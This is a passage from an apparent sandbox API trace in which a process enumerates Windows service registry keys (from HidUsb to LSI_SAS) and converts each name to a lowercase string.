lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0241.651] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0241.651] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0241.651] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0241.651] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0241.651] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0241.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0241.652] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0241.652] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0241.652] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0241.652] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0241.652] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0241.653] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0241.653] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0241.653] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0241.653] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0241.653] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0241.653] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0241.654] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0241.654] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0241.654] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0241.654] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0241.654] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0241.655] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0241.655] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0241.655] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0241.655] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0241.655] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0241.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0241.663] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0241.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0241.663] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0241.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0241.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0241.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0241.664] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0241.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0241.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0241.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0241.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0241.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0241.665] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0241.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.666] 